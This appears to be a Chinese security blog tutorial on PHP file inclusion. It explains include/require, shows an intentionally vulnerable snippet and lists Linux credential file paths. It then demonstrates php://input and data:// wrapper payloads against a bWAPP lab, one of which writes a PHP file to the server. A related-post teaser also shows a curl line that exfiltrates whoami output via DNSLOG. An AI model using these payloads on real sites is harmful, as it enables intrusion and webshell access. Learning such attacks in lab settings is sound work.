文件包含的漏洞形成

文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshell。

文件包含的主要函数:

  • include()
  • include_once
  • require()
  • require_once()

区别:

相同点:include和require 都能把另外一个文件包含到当前文件中。

不同点:使用include时,当包含的文件不存在时,系统会报出警告级别的错误,程序会继续往下执行。 使用require包含文件时,当包含的文件不存在时,系统会先报出警告级别的错误,接着又报一个致命级别的错误。程序将终止执行。 require能让php的程序得到更高的效率,在同一php文件中解释过一次后,不会再解释第二次。而include却会重复的解释包含的文件。所以当php网页中使用循环或条件语句引入文件时,”require”则不会做任何的改变,当出现这种情况,必须使用”include”命令来引入文件。

require_once():如果该文件中的代码已经被包含了,则不会再次包含 应该用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。
include_once():同require_once()

文件包含示例代码:

1
2
3
4
<?php  
$filename = $_POST['filename'];
include($filename);
?>
比如:当客户端POST过来一个filename的值, $_POST[‘filename’];没有对filename的内容进行检测限制,这样就产生了问文件包含漏洞。

baohan1

linux系统敏感信息路径:

  • /etc/passwd // 账户信息

  • /etc/shadow // 账户密码文件
  • /etc/my.conf // mysql 配置文件
  • /etc/httpd/conf/httpd.conf // Apache配置文件
还有就是通过获取php版本来查看session的存储位置获取获取路径:

baohan2

PHP伪协议

文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file 。

首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,下面这张图总结了我们伪协议及需要的环境

weixieyi

下面我们对部分进行了演示:

1.利用php://input 写入一句话,

1
http://IP/bWAPP/rlfi.php?language=php://input&action=go
1
<?fputs(fopen("123.php", "w"),base64_decode("PD9waHAgIHBocGluZm8oKTsgPz4="));?>

input1

然后访问我们写入的123.php页面

input2

2.利用data协议

1
2
3
4
http://IP/bWAPP/rlfi.php?language=data://text/plain,<?php phpinfo()?>
http://IP/bWAPP/rlfi.php?language=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://IP/bWAPP/rlfi.php?language=data:text/plain,<?php phpinfo()?>
http://ip/bWAPP/rlfi.php?language=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

data

3.zip的需要我们上传zip的文件,然后和上述操作一样,用zip的方式包含过来

相关文章
评论
分享
  • SSRF原理、操作演示及防御

    SSRF漏洞:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF访问的目标是从外网无法访问的内部系统。(正是因为它是由服...

    SSRF原理、操作演示及防御
  • CSRF原理及演示

    CSRF(Crosss Site Request Forgery,跨站请求伪造)是一种网络攻击方式,也被产称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF. CSRF漏洞是因...

    CSRF原理及演示
  • XSS的payload构造及变形

    通常进行XSS脚本攻击时,一般网站都是有防护措施的,比如过滤掉我们script,javascript,或者长度限制等等,这时需要我们对我们的脚本进 行简单的变形,打到我们的目的,下面是我对常见的一些变形的分类,以及部分操作演示1.使用...

    XSS的payload构造及变形
  • XSS漏洞利用和beef使用

    安装好的kail XSS漏洞环境(这里我用的是bWAPP,百度安装即可) 首先打开我们的kail,打开我们的beef工具: q切换到/usr/share/beef-xss或者输入如下代码启动: 1./beef 然后登陆...

    XSS漏洞利用和beef使用
  • 存储型xss-H5页面截取

    环境准备 一个有XSS漏洞的页面,或者搭建一个漏洞平台 注册一个线上的XSS漏洞测试平台(有能力可以自己搭) 1.首先我们需要搭建一个本地的漏洞测试平台,这里我用的事pikachu漏洞平台(https://github.com/...

    存储型xss-H5页面截取
  • 一句话木马及变形

    一句话木马变形 介绍:网站后门,也可以叫做WebShell,黑客在入侵了一个网站后,通常会将一些asp或php文件与网 站服务器WEB目录下正常的网页文件混在一起,使得可以通过使用浏览器来访问这些asp或者php 文件,从而得到一个命...

    一句话木马及变形
  • DNSLOG在盲注中的使用

    DNSLOG在盲注中的使用0x00 Command Execution i. *nix:12curl http://ip.port.b182oj.ceye.io/`whoami`ping `whoami`.ip.port.b182oj...

    DNSLOG在盲注中的使用
  • sql注入(二)

    报错注入、​ 报错函数(举例) ​ (1)extractvalue(参数1,参数2) ​ 从目标XML中返回查询的字符串,参数1 是string格式...

    sql注入(二)
  • sql注入(一)

    sql注入漏洞,主要介绍有以下几种 5.0mysql数据库特性 手工注入一般步骤 常用的万能密码 联和注入 基于布尔的盲注 基于时间的盲注 5.0mysql数据库特性information _schema 自带,系统库...

    sql注入(一)
  • msf浏览器自动攻击

    msf浏览器自动攻击 首先查看数据库状态 ,并启动数据库12/etc/init.d/postgresql status/etc/init.d/postgresql start 打开msf:1msfconsole 搜索我们需要的浏览器...

    msf浏览器自动攻击
Please check the comment setting in config.yml of hexo-theme-Annie!